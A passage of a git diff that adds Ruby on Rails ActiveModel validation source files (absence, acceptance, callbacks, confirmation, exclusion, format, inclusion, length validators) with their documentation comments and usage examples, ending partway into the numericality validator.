+ # overriding the +validate+ instance method becomes too unwieldy and
+ # you're looking for more descriptive declaration of your validations.
+ #
+ # This can be done with a symbol pointing to a method:
+ #
+ # class Comment
+ # include ActiveModel::Validations
+ #
+ # validate :must_be_friends
+ #
+ # def must_be_friends
+ # errors.add(:base, 'Must be friends to leave a comment') unless commenter.friend_of?(commentee)
+ # end
+ # end
+ #
+ # With a block which is passed with the current record to be validated:
+ #
+ # class Comment
+ # include ActiveModel::Validations
+ #
+ # validate do |comment|
+ # comment.must_be_friends
+ # end
+ #
+ # def must_be_friends
+ # errors.add(:base, 'Must be friends to leave a comment') unless commenter.friend_of?(commentee)
+ # end
+ # end
+ #
+ # Or with a block where self points to the current record to be validated:
+ #
+ # class Comment
+ # include ActiveModel::Validations
+ #
+ # validate do
+ # errors.add(:base, 'Must be friends to leave a comment') unless commenter.friend_of?(commentee)
+ # end
+ # end
+ #
+ # Options:
+ # * <tt>:on</tt> - Specifies the context where this validation is active
+ # (e.g. <tt>on: :create</tt> or <tt>on: :custom_validation_context</tt>)
+ # * <tt>:allow_nil</tt> - Skip validation if attribute is +nil+.
+ # * <tt>:allow_blank</tt> - Skip validation if attribute is blank.
+ # * <tt>:if</tt> - Specifies a method, proc or string to call to determine
+ # if the validation should occur (e.g. <tt>if: :allow_validation</tt>,
+ # or <tt>if: Proc.new { |user| user.signup_step > 2 }</tt>). The method,
+ # proc or string should return or evaluate to a +true+ or +false+ value.
+ # * <tt>:unless</tt> - Specifies a method, proc or string to call to
+ # determine if the validation should not occur (e.g. <tt>unless: :skip_validation</tt>,
+ # or <tt>unless: Proc.new { |user| user.signup_step <= 2 }</tt>). The
+ # method, proc or string should return or evaluate to a +true+ or +false+
+ # value.
+ def validate(*args, &block)
+ options = args.extract_options!
+ if options.key?(:on)
+ options = options.dup
+ options[:if] = Array(options[:if])
+ options[:if].unshift("validation_context == :#{options[:on]}")
+ end
+ args << options
+ set_callback(:validate, *args, &block)
+ end
+
+ # List all validators that are being used to validate the model using
+ # +validates_with+ method.
+ #
+ # class Person
+ # include ActiveModel::Validations
+ #
+ # validates_with MyValidator
+ # validates_with OtherValidator, on: :create
+ # validates_with StrictValidator, strict: true
+ # end
+ #
+ # Person.validators
+ # # => [
+ # # #<MyValidator:0x007fbff403e808 @options={}>,
+ # # #<OtherValidator:0x007fbff403d930 @options={on: :create}>,
+ # # #<StrictValidator:0x007fbff3204a30 @options={strict:true}>
+ # # ]
+ def validators
+ _validators.values.flatten.uniq
+ end
+
+ # Clears all of the validators and validations.
+ #
+ # Note that this will clear anything that is being used to validate
+ # the model for both the +validates_with+ and +validate+ methods.
+ # It clears the validators that are created with an invocation of
+ # +validates_with+ and the callbacks that are set by an invocation
+ # of +validate+.
+ #
+ # class Person
+ # include ActiveModel::Validations
+ #
+ # validates_with MyValidator
+ # validates_with OtherValidator, on: :create
+ # validates_with StrictValidator, strict: true
+ # validate :cannot_be_robot
+ #
+ # def cannot_be_robot
+ # errors.add(:base, 'A person cannot be a robot') if person_is_robot
+ # end
+ # end
+ #
+ # Person.validators
+ # # => [
+ # # #<MyValidator:0x007fbff403e808 @options={}>,
+ # # #<OtherValidator:0x007fbff403d930 @options={on: :create}>,
+ # # #<StrictValidator:0x007fbff3204a30 @options={strict:true}>
+ # # ]
+ #
+ # If one runs Person.clear_validators! and then checks to see what
+ # validators this class has, you would obtain:
+ #
+ # Person.validators # => []
+ #
+ # Also, the callback set by +validate :cannot_be_robot+ will be erased
+ # so that:
+ #
+ # Person._validate_callbacks.empty? # => true
+ #
+ def clear_validators!
+ reset_callbacks(:validate)
+ _validators.clear
+ end
+
+ # List all validators that are being used to validate a specific attribute.
+ #
+ # class Person
+ # include ActiveModel::Validations
+ #
+ # attr_accessor :name , :age
+ #
+ # validates_presence_of :name
+ # validates_inclusion_of :age, in: 0..99
+ # end
+ #
+ # Person.validators_on(:name)
+ # # => [
+ # # #<ActiveModel::Validations::PresenceValidator:0x007fe604914e60 @attributes=[:name], @options={}>,
+ # # #<ActiveModel::Validations::InclusionValidator:0x007fe603bb8780 @attributes=[:age], @options={in:0..99}>
+ # # ]
+ def validators_on(*attributes)
+ attributes.flat_map do |attribute|
+ _validators[attribute.to_sym]
+ end
+ end
+
+ # Returns +true+ if +attribute+ is an attribute method, +false+ otherwise.
+ #
+ # class Person
+ # include ActiveModel::Validations
+ #
+ # attr_accessor :name
+ # end
+ #
+ # User.attribute_method?(:name) # => true
+ # User.attribute_method?(:age) # => false
+ def attribute_method?(attribute)
+ method_defined?(attribute)
+ end
+
+ # Copy validators on inheritance.
+ def inherited(base) #:nodoc:
+ dup = _validators.dup
+ base._validators = dup.each { |k, v| dup[k] = v.dup }
+ super
+ end
+ end
+
+ # Clean the +Errors+ object if instance is duped.
+ def initialize_dup(other) #:nodoc:
+ @errors = nil
+ super
+ end
+
+ # Returns the +Errors+ object that holds all information about attribute
+ # error messages.
+ #
+ # class Person
+ # include ActiveModel::Validations
+ #
+ # attr_accessor :name
+ # validates_presence_of :name
+ # end
+ #
+ # person = Person.new
+ # person.valid? # => false
+ # person.errors # => #<ActiveModel::Errors:0x007fe603816640 @messages={name:["can't be blank"]}>
+ def errors
+ @errors ||= Errors.new(self)
+ end
+
+ # Runs all the specified validations and returns +true+ if no errors were
+ # added otherwise +false+.
+ #
+ # class Person
+ # include ActiveModel::Validations
+ #
+ # attr_accessor :name
+ # validates_presence_of :name
+ # end
+ #
+ # person = Person.new
+ # person.name = ''
+ # person.valid? # => false
+ # person.name = 'david'
+ # person.valid? # => true
+ #
+ # Context can optionally be supplied to define which callbacks to test
+ # against (the context is defined on the validations using <tt>:on</tt>).
+ #
+ # class Person
+ # include ActiveModel::Validations
+ #
+ # attr_accessor :name
+ # validates_presence_of :name, on: :new
+ # end
+ #
+ # person = Person.new
+ # person.valid? # => true
+ # person.valid?(:new) # => false
+ def valid?(context = nil)
+ current_context, self.validation_context = validation_context, context
+ errors.clear
+ run_validations!
+ ensure
+ self.validation_context = current_context
+ end
+
+ # Performs the opposite of <tt>valid?</tt>. Returns +true+ if errors were
+ # added, +false+ otherwise.
+ #
+ # class Person
+ # include ActiveModel::Validations
+ #
+ # attr_accessor :name
+ # validates_presence_of :name
+ # end
+ #
+ # person = Person.new
+ # person.name = ''
+ # person.invalid? # => true
+ # person.name = 'david'
+ # person.invalid? # => false
+ #
+ # Context can optionally be supplied to define which callbacks to test
+ # against (the context is defined on the validations using <tt>:on</tt>).
+ #
+ # class Person
+ # include ActiveModel::Validations
+ #
+ # attr_accessor :name
+ # validates_presence_of :name, on: :new
+ # end
+ #
+ # person = Person.new
+ # person.invalid? # => false
+ # person.invalid?(:new) # => true
+ def invalid?(context = nil)
+ !valid?(context)
+ end
+
+ # Hook method defining how an attribute value should be retrieved. By default
+ # this is assumed to be an instance named after the attribute. Override this
+ # method in subclasses should you need to retrieve the value for a given
+ # attribute differently:
+ #
+ # class MyClass
+ # include ActiveModel::Validations
+ #
+ # def initialize(data = {})
+ # @data = data
+ # end
+ #
+ # def read_attribute_for_validation(key)
+ # @data[key]
+ # end
+ # end
+ alias :read_attribute_for_validation :send
+
+ protected
+
+ def run_validations! #:nodoc:
+ run_callbacks :validate
+ errors.empty?
+ end
+ end
+end
+
+Dir[File.dirname(__FILE__) + "/validations/*.rb"].each { |file| require file }
diff --git a/activemodel/lib/active_model/validations/absence.rb b/activemodel/lib/active_model/validations/absence.rb
new file mode 100644
index 0000000..1a18633
--- /dev/null
+++ b/activemodel/lib/active_model/validations/absence.rb
@@ -0,0 +1,31 @@
+module ActiveModel
+ module Validations
+ # == Active Model Absence Validator
+ class AbsenceValidator < EachValidator #:nodoc:
+ def validate_each(record, attr_name, value)
+ record.errors.add(attr_name, :present, options) if value.present?
+ end
+ end
+
+ module HelperMethods
+ # Validates that the specified attributes are blank (as defined by
+ # Object#blank?). Happens by default on save.
+ #
+ # class Person < ActiveRecord::Base
+ # validates_absence_of :first_name
+ # end
+ #
+ # The first_name attribute must be in the object and it must be blank.
+ #
+ # Configuration options:
+ # * <tt>:message</tt> - A custom error message (default is: "must be blank").
+ #
+ # There is also a list of default options supported by every validator:
+ # +:if+, +:unless+, +:on+ and +:strict+.
+ # See <tt>ActiveModel::Validation#validates</tt> for more information
+ def validates_absence_of(*attr_names)
+ validates_with AbsenceValidator, _merge_attributes(attr_names)
+ end
+ end
+ end
+end
diff --git a/activemodel/lib/active_model/validations/acceptance.rb b/activemodel/lib/active_model/validations/acceptance.rb
new file mode 100644
index 0000000..0935ad0
--- /dev/null
+++ b/activemodel/lib/active_model/validations/acceptance.rb
@@ -0,0 +1,55 @@
+module ActiveModel
+
+ module Validations
+ class AcceptanceValidator < EachValidator # :nodoc:
+ def initialize(options)
+ super({ :allow_nil => true, :accept => "1" }.merge!(options))
+ end
+
+ def validate_each(record, attribute, value)
+ unless value == options[:accept]
+ record.errors.add(attribute, :accepted, options.except(:accept, :allow_nil))
+ end
+ end
+
+ def setup(klass)
+ attr_readers = attributes.reject { |name| klass.attribute_method?(name) }
+ attr_writers = attributes.reject { |name| klass.attribute_method?("#{name}=") }
+ klass.send(:attr_reader, *attr_readers)
+ klass.send(:attr_writer, *attr_writers)
+ end
+ end
+
+ module HelperMethods
+ # Encapsulates the pattern of wanting to validate the acceptance of a
+ # terms of service check box (or similar agreement).
+ #
+ # class Person < ActiveRecord::Base
+ # validates_acceptance_of :terms_of_service
+ # validates_acceptance_of :eula, message: 'must be abided'
+ # end
+ #
+ # If the database column does not exist, the +terms_of_service+ attribute
+ # is entirely virtual. This check is performed only if +terms_of_service+
+ # is not +nil+ and by default on save.
+ #
+ # Configuration options:
+ # * <tt>:message</tt> - A custom error message (default is: "must be
+ # accepted").
+ # * <tt>:allow_nil</tt> - Skip validation if attribute is +nil+ (default
+ # is +true+).
+ # * <tt>:accept</tt> - Specifies value that is considered accepted.
+ # The default value is a string "1", which makes it easy to relate to
+ # an HTML checkbox. This should be set to +true+ if you are validating
+ # a database column, since the attribute is typecast from "1" to +true+
+ # before validation.
+ #
+ # There is also a list of default options supported by every validator:
+ # +:if+, +:unless+, +:on+ and +:strict+.
+ # See <tt>ActiveModel::Validation#validates</tt> for more information
+ def validates_acceptance_of(*attr_names)
+ validates_with AcceptanceValidator, _merge_attributes(attr_names)
+ end
+ end
+ end
+end
diff --git a/activemodel/lib/active_model/validations/callbacks.rb b/activemodel/lib/active_model/validations/callbacks.rb
new file mode 100644
index 0000000..e28ad28
--- /dev/null
+++ b/activemodel/lib/active_model/validations/callbacks.rb
@@ -0,0 +1,110 @@
+module ActiveModel
+ module Validations
+ # == Active \Model Validation Callbacks
+ #
+ # Provides an interface for any class to have +before_validation+ and
+ # +after_validation+ callbacks.
+ #
+ # First, include ActiveModel::Validations::Callbacks from the class you are
+ # creating:
+ #
+ # class MyModel
+ # include ActiveModel::Validations::Callbacks
+ #
+ # before_validation :do_stuff_before_validation
+ # after_validation :do_stuff_after_validation
+ # end
+ #
+ # Like other <tt>before_*</tt> callbacks if +before_validation+ returns
+ # +false+ then <tt>valid?</tt> will not be called.
+ module Callbacks
+ extend ActiveSupport::Concern
+
+ included do
+ include ActiveSupport::Callbacks
+ define_callbacks :validation, :terminator => "result == false", :skip_after_callbacks_if_terminated => true, :scope => [:kind, :name]
+ end
+
+ module ClassMethods
+ # Defines a callback that will get called right before validation
+ # happens.
+ #
+ # class Person
+ # include ActiveModel::Validations
+ # include ActiveModel::Validations::Callbacks
+ #
+ # attr_accessor :name
+ #
+ # validates_length_of :name, maximum: 6
+ #
+ # before_validation :remove_whitespaces
+ #
+ # private
+ #
+ # def remove_whitespaces
+ # name.strip!
+ # end
+ # end
+ #
+ # person = Person.new
+ # person.name = ' bob '
+ # person.valid? # => true
+ # person.name # => "bob"
+ def before_validation(*args, &block)
+ options = args.last
+ if options.is_a?(Hash) && options[:on]
+ options[:if] = Array(options[:if])
+ options[:on] = Array(options[:on])
+ options[:if].unshift("#{options[:on]}.include? self.validation_context")
+ end
+ set_callback(:validation, :before, *args, &block)
+ end
+
+ # Defines a callback that will get called right after validation
+ # happens.
+ #
+ # class Person
+ # include ActiveModel::Validations
+ # include ActiveModel::Validations::Callbacks
+ #
+ # attr_accessor :name, :status
+ #
+ # validates_presence_of :name
+ #
+ # after_validation :set_status
+ #
+ # private
+ #
+ # def set_status
+ # self.status = errors.empty?
+ # end
+ # end
+ #
+ # person = Person.new
+ # person.name = ''
+ # person.valid? # => false
+ # person.status # => false
+ # person.name = 'bob'
+ # person.valid? # => true
+ # person.status # => true
+ def after_validation(*args, &block)
+ options = args.extract_options!
+ options[:prepend] = true
+ options[:if] = Array(options[:if])
+ if options[:on]
+ options[:on] = Array(options[:on])
+ options[:if].unshift("#{options[:on]}.include? self.validation_context")
+ end
+ set_callback(:validation, :after, *(args << options), &block)
+ end
+ end
+
+ protected
+
+ # Overwrite run validations to include callbacks.
+ def run_validations! #:nodoc:
+ run_callbacks(:validation) { super }
+ end
+ end
+ end
+end
diff --git a/activemodel/lib/active_model/validations/clusivity.rb b/activemodel/lib/active_model/validations/clusivity.rb
new file mode 100644
index 0000000..49df98d
--- /dev/null
+++ b/activemodel/lib/active_model/validations/clusivity.rb
@@ -0,0 +1,41 @@
+require 'active_support/core_ext/range'
+
+module ActiveModel
+ module Validations
+ module Clusivity #:nodoc:
+ ERROR_MESSAGE = "An object with the method #include? or a proc, lambda or symbol is required, " \
+ "and must be supplied as the :in (or :within) option of the configuration hash"
+
+ def check_validity!
+ unless delimiter.respond_to?(:include?) || delimiter.respond_to?(:call) || delimiter.respond_to?(:to_sym)
+ raise ArgumentError, ERROR_MESSAGE
+ end
+ end
+
+ private
+
+ def include?(record, value)
+ exclusions = if delimiter.respond_to?(:call)
+ delimiter.call(record)
+ elsif delimiter.respond_to?(:to_sym)
+ record.send(delimiter)
+ else
+ delimiter
+ end
+
+ exclusions.send(inclusion_method(exclusions), value)
+ end
+
+ def delimiter
+ @delimiter ||= options[:in] || options[:within]
+ end
+
+ # In Ruby 1.9 <tt>Range#include?</tt> on non-numeric ranges checks all possible values in the
+ # range for equality, so it may be slow for large ranges. The new <tt>Range#cover?</tt>
+ # uses the previous logic of comparing a value with the range endpoints.
+ def inclusion_method(enumerable)
+ enumerable.is_a?(Range) ? :cover? : :include?
+ end
+ end
+ end
+end
diff --git a/activemodel/lib/active_model/validations/confirmation.rb b/activemodel/lib/active_model/validations/confirmation.rb
new file mode 100644
index 0000000..d14fb4d
--- /dev/null
+++ b/activemodel/lib/active_model/validations/confirmation.rb
@@ -0,0 +1,61 @@
+module ActiveModel
+
+ module Validations
+ class ConfirmationValidator < EachValidator # :nodoc:
+ def validate_each(record, attribute, value)
+ if (confirmed = record.send("#{attribute}_confirmation")) && (value != confirmed)
+ human_attribute_name = record.class.human_attribute_name(attribute)
+ record.errors.add(:"#{attribute}_confirmation", :confirmation, options.merge(:attribute => human_attribute_name))
+ end
+ end
+
+ def setup(klass)
+ klass.send(:attr_reader, *attributes.map do |attribute|
+ :"#{attribute}_confirmation" unless klass.method_defined?(:"#{attribute}_confirmation")
+ end.compact)
+
+ klass.send(:attr_writer, *attributes.map do |attribute|
+ :"#{attribute}_confirmation" unless klass.method_defined?(:"#{attribute}_confirmation=")
+ end.compact)
+ end
+ end
+
+ module HelperMethods
+ # Encapsulates the pattern of wanting to validate a password or email
+ # address field with a confirmation.
+ #
+ # Model:
+ # class Person < ActiveRecord::Base
+ # validates_confirmation_of :user_name, :password
+ # validates_confirmation_of :email_address,
+ # message: 'should match confirmation'
+ # end
+ #
+ # View:
+ # <%= password_field "person", "password" %>
+ # <%= password_field "person", "password_confirmation" %>
+ #
+ # The added +password_confirmation+ attribute is virtual; it exists only
+ # as an in-memory attribute for validating the password. To achieve this,
+ # the validation adds accessors to the model for the confirmation
+ # attribute.
+ #
+ # NOTE: This check is performed only if +password_confirmation+ is not
+ # +nil+. To require confirmation, make sure to add a presence check for
+ # the confirmation attribute:
+ #
+ # validates_presence_of :password_confirmation, if: :password_changed?
+ #
+ # Configuration options:
+ # * <tt>:message</tt> - A custom error message (default is: "doesn't match
+ # confirmation").
+ #
+ # There is also a list of default options supported by every validator:
+ # +:if+, +:unless+, +:on+ and +:strict+.
+ # See <tt>ActiveModel::Validation#validates</tt> for more information
+ def validates_confirmation_of(*attr_names)
+ validates_with ConfirmationValidator, _merge_attributes(attr_names)
+ end
+ end
+ end
+end
diff --git a/activemodel/lib/active_model/validations/exclusion.rb b/activemodel/lib/active_model/validations/exclusion.rb
new file mode 100644
index 0000000..b7f38e4
--- /dev/null
+++ b/activemodel/lib/active_model/validations/exclusion.rb
@@ -0,0 +1,50 @@
+require "active_model/validations/clusivity"
+
+module ActiveModel
+
+ module Validations
+ class ExclusionValidator < EachValidator # :nodoc:
+ include Clusivity
+
+ def validate_each(record, attribute, value)
+ if include?(record, value)
+ record.errors.add(attribute, :exclusion, options.except(:in, :within).merge!(:value => value))
+ end
+ end
+ end
+
+ module HelperMethods
+ # Validates that the value of the specified attribute is not in a
+ # particular enumerable object.
+ #
+ # class Person < ActiveRecord::Base
+ # validates_exclusion_of :username, in: %w( admin superuser ), message: "You don't belong here"
+ # validates_exclusion_of :age, in: 30..60, message: 'This site is only for under 30 and over 60'
+ # validates_exclusion_of :format, in: %w( mov avi ), message: "extension %{value} is not allowed"
+ # validates_exclusion_of :password, in: ->(person) { [person.username, person.first_name] },
+ # message: 'should not be the same as your username or first name'
+ # validates_exclusion_of :karma, in: :reserved_karmas
+ # end
+ #
+ # Configuration options:
+ # * <tt>:in</tt> - An enumerable object of items that the value shouldn't
+ # be part of. This can be supplied as a proc, lambda or symbol which returns an
+ # enumerable. If the enumerable is a range the test is performed with
+ # * <tt>:within</tt> - A synonym(or alias) for <tt>:in</tt>
+ # <tt>Range#cover?</tt>, otherwise with <tt>include?</tt>.
+ # * <tt>:message</tt> - Specifies a custom error message (default is: "is
+ # reserved").
+ # * <tt>:allow_nil</tt> - If set to true, skips this validation if the
+ # attribute is +nil+ (default is +false+).
+ # * <tt>:allow_blank</tt> - If set to true, skips this validation if the
+ # attribute is blank(default is +false+).
+ #
+ # There is also a list of default options supported by every validator:
+ # +:if+, +:unless+, +:on+ and +:strict+.
+ # See <tt>ActiveModel::Validation#validates</tt> for more information
+ def validates_exclusion_of(*attr_names)
+ validates_with ExclusionValidator, _merge_attributes(attr_names)
+ end
+ end
+ end
+end
diff --git a/activemodel/lib/active_model/validations/format.rb b/activemodel/lib/active_model/validations/format.rb
new file mode 100644
index 0000000..9398b7e
--- /dev/null
+++ b/activemodel/lib/active_model/validations/format.rb
@@ -0,0 +1,115 @@
+module ActiveModel
+
+ module Validations
+ class FormatValidator < EachValidator # :nodoc:
+ def validate_each(record, attribute, value)
+ if options[:with]
+ regexp = option_call(record, :with)
+ record_error(record, attribute, :with, value) if value.to_s !~ regexp
+ elsif options[:without]
+ regexp = option_call(record, :without)
+ record_error(record, attribute, :without, value) if value.to_s =~ regexp
+ end
+ end
+
+ def check_validity!
+ unless options.include?(:with) ^ options.include?(:without) # ^ == xor, or "exclusive or"
+ raise ArgumentError, "Either :with or :without must be supplied (but not both)"
+ end
+
+ check_options_validity(options, :with)
+ check_options_validity(options, :without)
+ end
+
+ private
+
+ def option_call(record, name)
+ option = options[name]
+ option.respond_to?(:call) ? option.call(record) : option
+ end
+
+ def record_error(record, attribute, name, value)
+ record.errors.add(attribute, :invalid, options.except(name).merge!(:value => value))
+ end
+
+ def regexp_using_multiline_anchors?(regexp)
+ regexp.source.start_with?("^") ||
+ (regexp.source.end_with?("$") && !regexp.source.end_with?("\\$"))
+ end
+
+ def check_options_validity(options, name)
+ option = options[name]
+ if option && !option.is_a?(Regexp) && !option.respond_to?(:call)
+ raise ArgumentError, "A regular expression or a proc or lambda must be supplied as :#{name}"
+ elsif option && option.is_a?(Regexp) &&
+ regexp_using_multiline_anchors?(option) && options[:multiline] != true
+ raise ArgumentError, "The provided regular expression is using multiline anchors (^ or $), " \
+ "which may present a security risk. Did you mean to use \\A and \\z, or forgot to add the " \
+ ":multiline => true option?"
+ end
+ end
+ end
+
+ module HelperMethods
+ # Validates whether the value of the specified attribute is of the correct
+ # form, going by the regular expression provided.You can require that the
+ # attribute matches the regular expression:
+ #
+ # class Person < ActiveRecord::Base
+ # validates_format_of :email, with: /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\z/i, on: :create
+ # end
+ #
+ # Alternatively, you can require that the specified attribute does _not_
+ # match the regular expression:
+ #
+ # class Person < ActiveRecord::Base
+ # validates_format_of :email, without: /NOSPAM/
+ # end
+ #
+ # You can also provide a proc or lambda which will determine the regular
+ # expression that will be used to validate the attribute.
+ #
+ # class Person < ActiveRecord::Base
+ # # Admin can have number as a first letter in their screen name
+ # validates_format_of :screen_name,
+ # with: ->(person) { person.admin? ? /\A[a-z0-9][a-z0-9_\-]*\z/i : /\A[a-z][a-z0-9_\-]*\z/i }
+ # end
+ #
+ # Note: use <tt>\A</tt> and <tt>\Z</tt> to match the start and end of the
+ # string, <tt>^</tt> and <tt>$</tt> match the start/end of a line.
+ #
+ # Due to frequent misuse of <tt>^</tt> and <tt>$</tt>, you need to pass
+ # the <tt>multiline: true</tt> option in case you use any of these two
+ # anchors in the provided regular expression. In most cases, you should be
+ # using <tt>\A</tt> and <tt>\z</tt>.
+ #
+ # You must pass either <tt>:with</tt> or <tt>:without</tt> as an option.
+ # In addition, both must be a regular expression or a proc or lambda, or
+ # else an exception will be raised.
+ #
+ # Configuration options:
+ # * <tt>:message</tt> - A custom error message (default is: "is invalid").
+ # * <tt>:allow_nil</tt> - If set to true, skips this validation if the
+ # attribute is +nil+ (default is +false+).
+ # * <tt>:allow_blank</tt> - If set to true, skips this validation if the
+ # attribute is blank (default is +false+).
+ # * <tt>:with</tt> - Regular expression that if the attribute matches will
+ # result in a successful validation. This can be provided as a proc or
+ # lambda returning regular expression which will be called at runtime.
+ # * <tt>:without</tt> - Regular expression that if the attribute does not
+ # match will result in a successful validation. This can be provided as
+ # a proc or lambda returning regular expression which will be called at
+ # runtime.
+ # * <tt>:multiline</tt> - Set to true if your regular expression contains
+ # anchors that match the beginning or end of lines as opposed to the
+ # beginning or end of the string. These anchors are <tt>^</tt> and <tt>$</tt>.
+ #
+ # There is also a list of default options supported by every validator:
+ # +:if+, +:unless+, +:on+ and +:strict+.
+ # See <tt>ActiveModel::Validation#validates</tt> for more information
+ def validates_format_of(*attr_names)
+ validates_with FormatValidator, _merge_attributes(attr_names)
+ end
+ end
+ end
+end
diff --git a/activemodel/lib/active_model/validations/inclusion.rb b/activemodel/lib/active_model/validations/inclusion.rb
new file mode 100644
index 0000000..5e45a04
--- /dev/null
+++ b/activemodel/lib/active_model/validations/inclusion.rb
@@ -0,0 +1,49 @@
+require "active_model/validations/clusivity"
+
+module ActiveModel
+
+ module Validations
+ class InclusionValidator < EachValidator # :nodoc:
+ include Clusivity
+
+ def validate_each(record, attribute, value)
+ unless include?(record, value)
+ record.errors.add(attribute, :inclusion, options.except(:in, :within).merge!(:value => value))
+ end
+ end
+ end
+
+ module HelperMethods
+ # Validates whether the value of the specified attribute is available in a
+ # particular enumerable object.
+ #
+ # class Person < ActiveRecord::Base
+ # validates_inclusion_of :gender, in: %w( m f )
+ # validates_inclusion_of :age, in: 0..99
+ # validates_inclusion_of :format, in: %w( jpg gif png ), message: "extension %{value} is not included in the list"
+ # validates_inclusion_of :states, in: ->(person) { STATES[person.country] }
+ # validates_inclusion_of :karma, in: :available_karmas
+ # end
+ #
+ # Configuration options:
+ # * <tt>:in</tt> - An enumerable object of available items. This can be
+ # supplied as a proc, lambda or symbol which returns an enumerable. If the
+ # enumerable is a range the test is performed with <tt>Range#cover?</tt>,
+ # otherwise with <tt>include?</tt>.
+ # * <tt>:within</tt> - A synonym(or alias) for <tt>:in</tt>
+ # * <tt>:message</tt> - Specifies a custom error message (default is: "is
+ # not included in the list").
+ # * <tt>:allow_nil</tt> - If set to +true+, skips this validation if the
+ # attribute is +nil+ (default is +false+).
+ # * <tt>:allow_blank</tt> - If set to +true+, skips this validation if the
+ # attribute is blank (default is +false+).
+ #
+ # There is also a list of default options supported by every validator:
+ # +:if+, +:unless+, +:on+ and +:strict+.
+ # See <tt>ActiveModel::Validation#validates</tt> for more information
+ def validates_inclusion_of(*attr_names)
+ validates_with InclusionValidator, _merge_attributes(attr_names)
+ end
+ end
+ end
+end
diff --git a/activemodel/lib/active_model/validations/length.rb b/activemodel/lib/active_model/validations/length.rb
new file mode 100644
index 0000000..675fb5f
--- /dev/null
+++ b/activemodel/lib/active_model/validations/length.rb
@@ -0,0 +1,126 @@
+module ActiveModel
+
+ # == Active \Model Length \Validator
+ module Validations
+ class LengthValidator < EachValidator # :nodoc:
+ MESSAGES = { :is => :wrong_length, :minimum => :too_short, :maximum => :too_long }.freeze
+ CHECKS = { :is => :==, :minimum => :>=, :maximum => :<= }.freeze
+
+ RESERVED_OPTIONS = [:minimum, :maximum, :within, :is, :tokenizer, :too_short, :too_long]
+
+ def initialize(options)
+ if range = (options.delete(:in) || options.delete(:within))
+ raise ArgumentError, ":in and :within must be a Range" unless range.is_a?(Range)
+ options[:minimum], options[:maximum] = range.min, range.max
+ end
+
+ if options[:allow_blank] == false && options[:minimum].nil? && options[:is].nil?
+ options[:minimum] = 1
+ end
+
+ super
+ end
+
+ def check_validity!
+ keys = CHECKS.keys & options.keys
+
+ if keys.empty?
+ raise ArgumentError, 'Range unspecified. Specify the :in, :within, :maximum, :minimum, or :is option.'
+ end
+
+ keys.each do |key|
+ value = options[key]
+
+ unless (value.is_a?(Integer) && value >= 0) || value == Float::INFINITY
+ raise ArgumentError, ":#{key} must be a nonnegative Integer or Infinity"
+ end
+ end
+ end
+
+ def validate_each(record, attribute, value)
+ value = tokenize(value)
+ value_length = value.respond_to?(:length) ? value.length : value.to_s.length
+ errors_options = options.except(*RESERVED_OPTIONS)
+
+ CHECKS.each do |key, validity_check|
+ next unless check_value = options[key]
+
+ if !value.nil? || skip_nil_check?(key)
+ next if value_length.send(validity_check, check_value)
+ end
+
+ errors_options[:count] = check_value
+
+ default_message = options[MESSAGES[key]]
+ errors_options[:message] ||= default_message if default_message
+
+ record.errors.add(attribute, MESSAGES[key], errors_options)
+ end
+ end
+
+ private
+
+ def tokenize(value)
+ if options[:tokenizer] && value.kind_of?(String)
+ options[:tokenizer].call(value)
+ end || value
+ end
+
+ def skip_nil_check?(key)
+ key == :maximum && options[:allow_nil].nil? && options[:allow_blank].nil?
+ end
+ end
+
+ module HelperMethods
+
+ # Validates that the specified attribute matches the length restrictions
+ # supplied. Only one option can be used at a time:
+ #
+ # class Person < ActiveRecord::Base
+ # validates_length_of :first_name, maximum: 30
+ # validates_length_of :last_name, maximum: 30, message: "less than 30 if you don't mind"
+ # validates_length_of :fax, in: 7..32, allow_nil: true
+ # validates_length_of :phone, in: 7..32, allow_blank: true
+ # validates_length_of :user_name, within: 6..20, too_long: 'pick a shorter name', too_short: 'pick a longer name'
+ # validates_length_of :zip_code, minimum: 5, too_short: 'please enter at least 5 characters'
+ # validates_length_of :smurf_leader, is: 4, message: "papa is spelled with 4 characters... don't play me."
+ # validates_length_of :essay, minimum: 100, too_short: 'Your essay must be at least 100 words.',
+ # tokenizer: ->(str) { str.scan(/\w+/) }
+ # end
+ #
+ # Configuration options:
+ # * <tt>:minimum</tt> - The minimum size of the attribute.
+ # * <tt>:maximum</tt> - The maximum size of the attribute. Allows +nil+ by
+ # default if not used with :minimum.
+ # * <tt>:is</tt> - The exact size of the attribute.
+ # * <tt>:within</tt> - A range specifying the minimum and maximum size of
+ # the attribute.
+ # * <tt>:in</tt> - A synonym (or alias) for <tt>:within</tt>.
+ # * <tt>:allow_nil</tt> - Attribute may be +nil+; skip validation.
+ # * <tt>:allow_blank</tt> - Attribute may be blank; skip validation.
+ # * <tt>:too_long</tt> - The error message if the attribute goes over the
+ # maximum (default is: "is too long (maximum is %{count} characters)").
+ # * <tt>:too_short</tt> - The error message if the attribute goes under the
+ # minimum (default is: "is too short (min is %{count} characters)").
+ # * <tt>:wrong_length</tt> - The error message if using the <tt>:is</tt>
+ # method and the attribute is the wrong size (default is: "is the wrong
+ # length (should be %{count} characters)").
+ # * <tt>:message</tt> - The error message to use for a <tt>:minimum</tt>,
+ # <tt>:maximum</tt>, or <tt>:is</tt> violation. An alias of the appropriate
+ # <tt>too_long</tt>/<tt>too_short</tt>/<tt>wrong_length</tt> message.
+ # * <tt>:tokenizer</tt> - Specifies how to split up the attribute string.
+ # (e.g. <tt>tokenizer: ->(str) { str.scan(/\w+/) }</tt> to count words
+ # as in above example). Defaults to <tt>->(value) { value.split(//) }</tt>
+ # which counts individual characters.
+ #
+ # There is also a list of default options supported by every validator:
+ # +:if+, +:unless+, +:on+ and +:strict+.
+ # See <tt>ActiveModel::Validation#validates</tt> for more information
+ def validates_length_of(*attr_names)
+ validates_with LengthValidator, _merge_attributes(attr_names)
+ end
+
+ alias_method :validates_size_of, :validates_length_of
+ end
+ end
+end
diff --git a/activemodel/lib/active_model/validations/numericality.rb b/activemodel/lib/active_model/validations/numericality.rb
new file mode 100644
index 0000000..085532c
--- /dev/null
+++ b/activemodel/lib/active_model/validations/numericality.rb
@@ -0,0 +1,136 @@
+module ActiveModel
+
+ module Validations
+ class NumericalityValidator < EachValidator # :nodoc:
+ CHECKS = { :greater_than => :>, :greater_than_or_equal_to => :>=,
+ :equal_to => :==, :less_than => :<, :less_than_or_equal_to => :<=,
+ :odd => :odd?, :even => :even?, :other_than => :!= }.freeze
+
+ RESERVED_OPTIONS = CHECKS.keys + [:only_integer]
+
+ def check_validity!
+ keys = CHECKS.keys - [:odd, :even]
